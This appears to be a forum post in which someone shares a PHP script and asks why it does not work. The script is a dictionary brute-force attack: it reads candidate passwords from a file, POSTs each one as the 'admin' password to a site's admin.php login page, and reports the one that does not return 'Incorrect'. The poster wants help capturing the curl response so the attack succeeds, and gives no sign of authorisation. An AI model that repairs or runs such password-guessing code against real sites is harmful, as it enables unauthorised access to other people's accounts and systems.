<html> <head> <title>PHP Test</title> </head> <body> <p /> Testing the PHP code<p /> <?php $fh = fopen("dic1.txt", "r"); while(!feof($fh)) { $curl = curl_init(); $pass = fgets($fh,1024); $data = fread($fh, filesize('dic1.txt')); curl_setopt($curl, CURLOPT_URL,"http://www.domain.com/admin.php"); curl_setopt($curl, CURLOPT_POST, 1); curl_setopt($curl, CURLOPT_POSTFIELDS, "Uname=admin&Pword=$pass&Submit=True"); curl_exec ($curl); curl_close ($curl); $result = eregi("Incorrect", $data); if ( $result == 0 ) { echo "$pass is the password!"; break; fclose($fh); } } ?> <p /> Again! </body> </html>
Ok, do there is the source.. but I know I want to do get the curl execution into a string then check that string for the invalid variable but I don't see why this is not working.. any help?
Thank You in Advanced!